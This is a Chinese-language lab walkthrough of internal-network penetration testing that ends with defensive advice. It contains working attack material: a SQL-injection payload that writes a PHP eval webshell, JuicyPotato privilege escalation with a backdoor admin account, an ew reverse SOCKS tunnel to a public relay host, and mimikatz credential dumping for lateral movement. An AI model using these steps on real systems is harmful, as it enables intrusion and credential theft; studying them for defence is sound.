渗透测试基础-内网渗透上(上)
只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
简介
这里因为是复习关于内网的渗透,所以更多的是经过学习了解思路和操作步骤,那这里就直接进行靶场的演练,在过程中学习。
(因为所说内容风险较大,请在有合法授权的情况下进行渗透测试!!!)
SQL注入写马
直接进入到这次的靶场页面。简单测试发现这个网页是存在SQL注入的,但是SQL注入并不能帮助我们进入到人家的服务器中,所以这里得说一个新知识,就是通过SQL实现写一句话木马的操作。
这里我们不单用and 1 like 1
和and 1 like 2
测出了这里存在SQL注入,还爆出了当前的网站目录,这个对我们来说很重要,因为写入的木马,得访问的到才能用。
这里来说一下SQL注入是怎么实现的:
写木马需要引进一个SQL函数:dumpfile
既然这个这么厉害,官方当然也知道其危险性,所以加入了读写文件函数调用的限制,函数能否成功执行受到参数 secure_file_priv 的影响
- 其中当参数 secure_file_priv 为空时,对导入导出无限制
- 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为
NULL
时,禁止导入导出功
它能写入某某内容到某个文件中。靶场看到了显错点,那我们语句可以这样构建
and 1 like 2 union select 333,'webshell' into dumpfile 'C:\phpStudy\WWW\webshell.txt'
文件写入的目录是刚刚网页爆出来的,需要写入的文件是txt,内容是333webshell。这里为什么不直接写入php一句话木马文件,是因为我们不知道这里有什么会拦截我们,所以我们给出最小的威胁,然后在一步步提升威胁等级
这样我们自定义的txt文件就创建了,既然这个没问题,那我们来试试php文件
and 1 like 2 union select 333,'<?php eval($_REQUEST[8]);?>' into dumpfile 'C:\phpStudy\WWW\webshell.php
改变这里的文件内容和文件后缀
访问之后发现这里好像并没有文件的产生。其实这里失败的原因是,我们的传入的数据中有“ ?”的存在所导致的,问号在url栏中是有自己的意义的:实际“ ?”后面跟的是传参值,所以对我们刚刚的语句它并不能理解。
这里的处理方法也简单,因为URL是支持16进制解析的,我们这里对内容做一下16进制编码即可。
<?php eval($_REQUEST[8]);?>
以为这样就能用了嘛?其实这里还有小细节,我们将得到的16进制值,在让它反编码回来看看结果
转码回来之后发现,空格不见了。php eval之间这里有没有空格,那所对应的含义就大了去了,所以这里的空格我们得跟它加上去。空格在16进制中等于 20
加的位置就在6870的后面
将值拿出来,在前面加上 0x并取消掉前后的单引号,代表这里是16进制的数值,需要解码食用
3c3f706870206576616c28245f524551554553545b385d293b3f3e
and 1 like 2 union select 333,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e into dumpfile 'C:/phpStudy/WWW/iwebshell.php
这样就能webshell
工具连接了
连接进来就能看到我们刚刚传入的文件。
Windows权限提升
既然我们都获得了网站权限,那是不是得在提高一点权限,让我们能远程进入服务器呢?
想要进入服务器,我们得先知道这台机器的一些信息,比如操作系统,当前权限,和已打开端口等信息。
这里介绍几个Windows的CMD查询命令
whoami
查询当前用户权限netstat -ano
查询本机开启的端口tasklist
查看运行的程序 (类似于任务管理器)systeminfo
查看计算机信息
了解到现在的权限为administrator
的权限,这个权限不是最高的,我们想拿到最高权限是system
权限
这里提升权限的方法可利用Windows漏洞的方法进行提升。先用systeminfo
了解一下这台服务器打了哪些补丁
将这两个补丁编号,放入https://i.hacking8.com/tiquan/
这个网站来查一下。看如果打了这两个补丁之后,我们还有哪些漏洞是可以利用的。
这里分享一个叫做烂土豆的工具。juicypotato。这是下载地址:https://github.com/ohpe/juicy-potato/releases
这个东西百分百报毒,建议虚拟机下载或者是加个信任之类的。
工具的使用方法就是将这个文件传上去,然后在CMD输入 工具的名称+ -p + “要执行的命令” 就可以了
比如这样: JuicyPotato.exe -p “whomai"
再次执行查询权限的语句,看到这里就显示了我们是system
的权限。
因为不知道administrator
的密码,所以这里给他加一个新用户进去,方便后面的远程
命令:
- exe -p “net user hj 密码 /add” 添加用户
- exe -p “net localgroup administrators hj” 提升管理员权限的
- exe -p “net localgroup administrator” 查询管理员组
用户添加好了 mstsc
远程试试看
花生壳巧获公网IP
远程之后发现事情不对,前面查询信息知道,这台机器是2008的,但是这个既然显示的2003的,这就不对了,我们来简单了解一下流程
用户访问公网ip的一个端口
➡️ 路由器接受到有人访问这个端口,根据转发规则分配到内网机器
➡️ 内网机器连接
但是如果转发规则里面不转发,那怎么加用户也是连接不到,而路由器并不容易搞下来。
一般我们会使用反向连接,我们让我们控制的站点来连接我们公网上的一个端口,然后构成一个反向连接。
(反向连接就是目标连接我们,正向就是我们连接目标。)
但是我们没有公网ip怎么办?其实只要岁数小于24岁,去阿里云买个学生机还是挺便宜的。就算不想买或者不能买,但又没有公网地址,那这里也有其他办法能用:访问:https://qydev.com/index.html
这里其实原理很简单,我们反向连接花生壳,然后我们让目标反向连接花生壳提供的域名,然后花生壳架起了桥梁让我们沟通,它就是一个中间人。
- 进入刚刚的网站,在这里开通一个免费的隧道
- 名字随便写,协议选TCP,在后面加上一个端口,这端口保证你自己不会占用就好
这里复制隧道KEYcode,然后下载客户端,下载然后解压之后会看到上面两个文件
打开“启动工具”输入KEY值
这个东西 先来简单测试一下
这里有个域名,我们在虚拟机的phpstudy的www目录下放一个木马文件,然后打开刚刚的“启动工具”输入key,等程序启动,当外网去访问上面那个域名时,就能直接访问到我虚拟机里面的木马文件,就相当于花生壳给了我们一个公网地址,让别人来访问。
这个用起来很方便,刚刚是做了简单的演示,现在在对靶场做
当靶场机器访问这个域名和这个端口的时候,就相当于访问我们虚拟机的6666端口
当然,这个实现数据的传输也是需要传其他工具上去,等下介绍
ew内网穿透实现端口转发
这里先介绍一下这里的原理
最开始,我们尝试用mstsc远程,发现并不是我们想要的机器,可能是连到了“靶场机器B”,但我们实际可能想要连接的是“靶场机器A”,这是因为中间路由器的路由表的问题。现在是这样的,攻击机没有外网地址,“靶场机器A”也没有外网地址,该怎么让他们能连上呢?这里有个点,就是虽然我俩都没有外网地址,但是我俩都可以访问外网,如果我俩之间有个“中间人”搭桥牵线,这事就成了,现在这个“中间人”,就是这个花生壳。
-
因为已经控制了“靶场机器A”的CMD窗口,这里上传工具,输入命令,让其去访问free.qydev.com:4472(这里不应该写域名,应该写域名的ip,ping下一就知道了)
(命令:ew -s rssocks -d free.qydev.com -e 4472
) -
花生壳在接收到“靶场机器A”的数据后,根据规则,将数据转给了攻击机的6666端口
-
攻击机监听自己的6666端口,然后将6666端口接收到的数据,转给了4545端口
(转给4545是因为工具需要,工具能将传过来的数据做处理)
(命令:ew -s rssocks -l 4545 -e 6666
)
在攻击机打开上面的软件,然后输入上面的命令,这样就开始监听自己的6666端口,并将6666传进来的数据转给4545端口
靶场机器A ➡️ 路由器 ➡️ 穿透工具提供的平台 ➡️ 攻击机
靶场机器A输入命令之后,攻击机这边显示连接已ok,也就是说数据已经正常能传到攻击机的4545端口了,接下来在用一个工具(Proxifier)来处理,这个工具采用的是SOCKS5的代理,用起来挺方便的。
工具打开点击配置文件,选择代理服务器,然后端口改为4545即可。现在攻击机的所有网络操作,都会交给靶场机器A来操作。
探测内网机器
先看一下靶场机器的内网ip
浏览器输入ip,就能访问到内网的网站
能用那就来试试远程了,账号密码就用我们上面自己创建的去登陆
进来之后先探测下内网主机,再探测下主机端口。
先ipconfig
查看下当前ip
,是什么ip段,然后上传nmap
,执行:nmap 10.0.1.1/24
(探测范围:10.0.1.1-10.0.1.255
)
然后开始翻一翻本机里面的文件,看看有没有有用的东西,然后根据端口去寻找问题,例如我们现在想对10.0.1.5测试,很明显他开了这些端口,就针对这些端口测试。
提取本地管理员账号密码
内网有这样一个现象存在:就是内网机器比较多,但是管理员可能就是那么几个人,所以各个机器的用户账号密码相同的可能性极高,那么我们如果能获取这台机器的密码,就很有可能用这个密码去登陆别的内网机器。
再次引入一个神器:mimikatz
mimikatz
是一款内网渗透中常用的工具 [下载地址:https://github.com/gentilkiwi/mimikatz
]
它可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码。
注:安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码,这样利用mimikatz就不能从内存中读出明文密码。mimikatz的使用需要administrator用户执行,administrators中的其他用户都不行
这里执行两条命令即可:
提升权限:privilege::debug
抓取密码:sekur Isa::logonpasswords
双击打开(管理员权限打开),先进行提权,然后获取密码。
然后拿着这个账号密码去尝试一下刚刚在nmap
里面找的内网机器10.0.1.5
,看能不能登陆进去
这样就进入了第二台服务器,拿到了flag
漏洞总结
防范方法:
-
服务器应尽量以白名单的方式运行,包括但不限于端口和网络,如无特殊要求的情况下,完全能让服务器不访问外网,和外网只能访问网站端口而运行着。
-
secure_file_priv
用不上的话,设置为secure_file_priv=NULL
。 -
漏洞补丁应该多注意,高危漏洞应该及时修补。
-
为每个账号设置对应的最低可用权限,关闭经常不使用的账号。
《最好的防御,是明白其怎么实施的攻击》